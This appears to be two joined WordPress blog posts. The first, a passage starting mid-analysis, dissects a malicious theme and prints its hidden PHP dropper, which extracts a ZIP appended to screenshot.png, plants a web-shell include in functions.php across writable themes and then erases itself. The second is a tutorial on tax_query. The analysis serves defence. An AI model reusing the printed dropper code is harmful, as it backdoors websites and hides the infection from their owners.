    $filename = dirname(__FILE__).DS."screenshot.png";

Right away, something is wrong. It’s getting the location of the screenshot file (DS is defined elsewhere as the Directory Separator, which makes it work on both Linux and Windows boxes). That doesn’t make a whole lot of sense, the screenshot is supposed to be displayed by the admin interface only. Let’s read on.

    $fileContents = explode(pack("c*", 0xAE,0x42,0x60,0x82), file_get_contents($filename));
    $screenshot = array_shift($fileContents);

The “pack” function is one that isn’t used much. It’s a means of manipulating binary files. The “explode” function is a way of splitting a string by some characters. So what this code really is doing is to find a particular string of hex digits in the screenshot file, split it across that boundary, and then get only the first part of that (the actual screenshot file), thanks to the array shift. This gets used later.

In other words, he’s appended something onto the end of the screenshot file, and this code reads it in, finds it, then gets a copy of it. What could this be? Turns out to be a ZIP file.

    $unzipped = false;
    $path = check_istalled_path($_SERVER['DOCUMENT_ROOT']);

The check_istalled_path function looks for a wp-additional directory and returns a path to it.

    if($path === false && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	if(function_exists("zip_read")) {
	    $path = array_pop(array_shuffle(find_writeble_path($_SERVER['DOCUMENT_ROOT'])));
	    @mkdir($path = $path.DS."wp-additional");

	    file_put_contents($path.DS."archive.zip", implode(pack("c*", 0xAE,0x42,0x60,0x82), $fileContents));
	    $zip = new ZipArchive;
	    if ($zip->open($path.DS."archive.zip")===true) {

		$zip->extractTo($path.DS);
		$zip->close();
		unlink($path.DS."archive.zip");
		$unzipped = true;
	    }
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php  if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}

If the zip_read function is available, he makes a wp-additional directory and puts the ZIP file there. Then he simply unzips the malware file into the target theme. This requires a bit of explanation.

Elsewhere there is a function called “find_writeble_path”. This function doesn’t limit itself to the current theme’s directory. Instead, it looks through all installed themes on the system and tries to find all themes that has permissions set to allow it to be written to. So in all of the above, he’s really looking for any theme that he can infect with the malware contained in this archive. The “array_shuffle” line is his way of picking a random theme.

So he unzips the malware to that theme then adds code to himself to that makes it try to read and execute this wshell.php file.

But if the wp-additional directory full of malware has already been created somewhere on the system, then the above code doesn’t run. If it finds the malware directory, then it skips that and just does the following:

    } else {
	if($_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	    $path = $_SERVER['DOCUMENT_ROOT'].DS.$path;
	    @file_put_contents(dirname(__FILE__).DS."functions.php","<!--?php if(is_readable(\"$path".DS."wshell.php\")) { @require_once(\"$path".DS."wshell.php\"); } ?-->\n".file_get_contents(dirname(__FILE__).DS."functions.php"));
	}
    }

It found the malware, so it simply rewrites itself to make sure it includes it.

The overall affect of the above code is to make the them unzip the malware into any theme directory it can find, then rewrite itself to attempt to include it.

Next we have self-eliminating code:

    @file_put_contents(__FILE__, array_shift(explode("function get_custom_headers", file_get_contents(__FILE__))));
    @file_put_contents(dirname(__FILE__).DS."screenshot.png", $screenshot);

What does this code do? Well, it erases itself from the file!

This code reads the file that the malware code is in right now (with file_get_contents(__FILE__) ). Then it explodes it along the get_custom_headers function. Finally, it writes it back out to the file itself.

Basically, using the explode and array_shift method, it finds the get_custom_headers function code, then writes the functions.php back out without that code or anything after it. Now that the malware has done its job, this code basically self deletes, to make it not traceable. All that’s left is the wp-additional directory that contains the malware, and the include it wrote to the beginning of the file to load that malware.

Here’s where it also erases itself from the screenshot, using the $screenshot variable it saved earlier.

    if(function_exists("zip_read") && $unzipped == true && $_SERVER['HTTP_HOST'] != "localhost" && $_SERVER['SERVER_ADDR'] != "127.0.0.1") {
	@require_once($path.DS."wshell.php");
    }
}

This just makes it load the now-decompressed wshell.php malware immediately, instead of waiting for the next page load.

Also note how the code doesn’t run on localhost installs? If you look closely, the self-removing code does run on those installs. Meaning that if you run this theme in a test bed, then it removes itself without infection. This is to make it harder for people to analyse the code, since it disappears the first time you run it on a local test system.

The Malware

So what is this malware? Well, there’s two parts to it.

The first part is a standard PHP Shell install, essentially giving a shell backdoor to anybody who knows the location of the malware and the username and password. This is a massive security hole, obviously.

The second part is somewhat custom. It’s in the wshell.php file that the above malware tries so hard to get you to include. Essentially, this installs a spamming system of fairly wide ranging scope.

The first thing it does is to notify its master that it exists. It does this by making a connection to 188.165.212.17 and sending what looks sorta like SMTP commands, but which are probably customized in some way. But basically it tells this server where it’s installed and how it can be accessed. After it gets confirmation, it sets a parameter to make it not send this again.

The spamming system itself contains a number of commands. The way it gets commands from the attacker is by looking for them in cookies with a name of “wsh-cmd”. So in this sense, it’s kind of like a server. The attacker has some kind of a client that talks to your server via the normal HTTP, but sends it hidden commands via this cookie.

The commands allow the attacker to view a list of writable files in your themes directory, and to view any specified readable file on the system. It avoids triggering mod_security systems by base64 encoding files that it sends around. But the main thrust of the system is to allow the attacker to insert links into, and remove links from, any writable theme file.

Essentially, it’s a remote-controlled automated link spamming tool.

The attacker can send URLs to your system and it will insert them into theme files. He can later remove those links. There’s a lot of code to allow it to generate proper links, to insert them into specific lines, things of that nature.

Summary

In short, don’t trust dodgy theme sites. Get your free themes from WordPress.org Extend-Themes instead.

Also, this sort of thing should tell you why we ban certain types of things from the WordPress.org theme repository. We can’t scan for specific malware, as it’s too easy to get around that sort of scanning. Scanning for functions that most of these malwares use is simpler and more effective. And all of our themes go through human-eye review as well, with anything even slightly dodgy getting brought up before a mailing list of experts who can take a look and determine what is what.

Shortlink:

One of the new things in 3.1 that hasn’t got a lot of discussion yet is the new Advanced Taxonomy Queries mechanism. At the moment, this is still being actively developed, but the basic structure is finalized enough to give at least a semi-coherent explanation on how to use it. Since 3.1 is now going into beta, it’s unlikely to change much.

What’s a Query?

In WordPress land, a “query” is anything that gets Posts. There’s a lot of ways to do this.

  • You can use query_posts to modify the main query of the page being displayed.
  • You can create a new WP_Query, to get some set of posts to display in its own custom Loop.
  • You can do a get_posts to get some limited set of posts for display in some special way.

Regardless of the method, you have to pass parameters to it in order to specify which posts you want. If you’ve used this at all before, then you’ve used parameters like cat=123, or tag=example, or category_name=bob and so forth. When custom taxonomies were developed, you were eventually able to specify things like taxonomy=foo and term=bar and so on.

Querying for Posts

The problem with these is that people sometimes want to specify more than one of these parameters, and not all parameters worked well together. Things like cat=a and tag=b, or cat=a and tag is not b, and so forth. This is because cat and tag are both forms of taxonomies, and the code didn’t handle that well. Sure, some of it worked, for specific cases, but those were mostly there by accident rather than by design. In other words, those cases worked because the system just happened to get it right for that particular instance.

Well, all these old methods still work, but they have been made into a more comprehensive system of generically specifying arbitrary taxonomies to match against. When you specify cat=123, it’ll actually be converting it to this new method internally.

Query Strings are for Suckers

One side effect of this new system is that it doesn’t really work with query strings very well. It can be done, but it’s a lot easier and more sensible if you just start getting into the array method of doing things instead. What’s the array method? I’ll explain:

Imagine you used to have a query that looked like this:

query_posts('cat=123&author=456');

A simple query, really. The problem with it is that WordPress has to parse that query before it can use it. But there is another way to write that query as well:

query_posts(array(
  'cat' => 123,
  'author' => 456,
) );

Essentially, you separate out each individual item into its own element in an array. This actually saves you some time in the query because it doesn’t have to parse it (there’s very little savings though).

The advantage of this is that you can build your arrays using any method of array handling you like. Here’s another way to do it:

$myquery['cat'] = 123;
$myquery['author'] = 456;
query_posts($myquery);

Simple, no? But what if you have to deal with the $query_string? The $query_string is that old variable that is built by WordPress. It comes from the “default” query for whatever page you happen to be on. One of the main uses for it was to deal with “paging”. A common method of doing it was like this:

query_posts($query_string . '&cat=123&author=456');

If you use arrays, you have to deal with that yourself a bit. There’s a couple of possible ways to do it. The easiest is probably to just parse the query string yourself, then modify the result as you see fit. For example:

$myquery = wp_parse_args($query_string);
$myquery['cat'] = 123;
$myquery['author'] = 456;
query_posts($myquery);

I started out with the $query_string, used wp_parse_args to turn it into an array, then overwrote the bits I wanted to change and performed the query. This is a handy technique I’m sure a lot of people will end up using.

On to Advanced Taxonomies

Advanced Taxonomy queries use a new parameter to the query functions called “tax_query”. The tax_query is an array of arrays, with each array describing what you want it to match on.

Let’s lead by example. We want to get everything in the category of “foo” AND a tag of “bar”. Here’s our query:

$myquery['tax_query'] = array(
	array(
		'taxonomy' => 'category',
		'terms' => array('foo'),
		'field' => 'slug',
	),
	array(
		'taxonomy' => 'post_tag',
		'terms' => array('bar'),
		'field' => 'slug',
	),
);
query_posts($myquery);

Here we’ve specified two arrays, each of which describes the taxonomy and terms we want to match it against. It’ll match against both of them, and only return the results where both are true.

There’s two things of note here:

First is that the “field” is the particular field we want to match. In this case, we have the slugs we want, so we used “slug”. You could also use “term_id” if you had the ID numbers of the terms you wanted.

Second is that the “terms” is an array in itself. It doesn’t actually have to be, for this case, as we only have one term in each, but I did it this way to illustrate that we can match against multiple terms for each taxonomy. If I used array(‘bar1′,’bar2’) for the post_tag taxonomy, then I’d get anything with a category of foo AND a tag of bar1 OR bar2.

And that second item illustrates an important point as well. The matches here are actually done using the “IN” operator. So the result is always equivalent to an “include” when using multiple terms in a single taxonomy. We can actually change that to an “exclude”, however, using the “operator” parameter:

$myquery['tax_query'] = array(
	array(
		'taxonomy' => 'category',
		'terms' => array('foo', 'bar'),
		'field' => 'slug',
		'operator' => 'NOT IN',
	),
);
query_posts($myquery);

The above query will get any post that is NOT in either the “foo” or “bar” category.

But what about terms across multiple taxonomies? So far we’ve only seen those being AND’d together. Well, the “relation” parameter takes care of that:

$myquery['tax_query'] = array(
	'relation' => 'OR',
	array(
		'taxonomy' => 'category',
		'terms' => array('foo'),
		'field' => 'slug',
	),
	array(
		'taxonomy' => 'post_tag',
		'terms' => array('bar'),
		'field' => 'slug',
	),
);
query_posts($myquery);

This gets us anything with a category of foo OR a tag of bar. Note that the relation is global to the query, so it appears outside the arrays in the tax_query, but still in the tax_query array itself. For clarity, I recommend always putting it first.

Useful Gallery Example

By combining these in different ways, you can make complex queries. What’s more, you can use it with any taxonomy you like. Here’s one I recently used:

$galleryquery = wp_parse_args($query_string);
$galleryquery['tax_query'] = array(
	'relation' => 'OR',
	array(
		'taxonomy' => 'post_format',
		'terms' => array('post-format-gallery'),
		'field' => 'slug',
	),
	array(
		'taxonomy' => 'category',
		'terms' => array('gallery'),
		'field' => 'slug',
	),
);
query_posts($galleryquery);

This gets any posts in either the gallery category OR that have a gallery post-format. Handy for making a gallery page template. I used the wp_parse_args($query_string) trick to make it able to handle paging properly, among other things.

Speed Concerns

Advanced taxonomy queries are cool, but be aware that complex queries are going to be slower. Not much slower, since the code does attempt to do things smartly, but each taxonomy you add is the equivalent of adding a JOIN. While the relevant tables are indexed, joins are still slower than non-joins. So it won’t always be a good idea to build out highly complex queries.

Still, it’s better than rolling your own complicated code to get a lot of things you don’t need and then parsing them out yourself. A whole lot easier too.

Shortlink: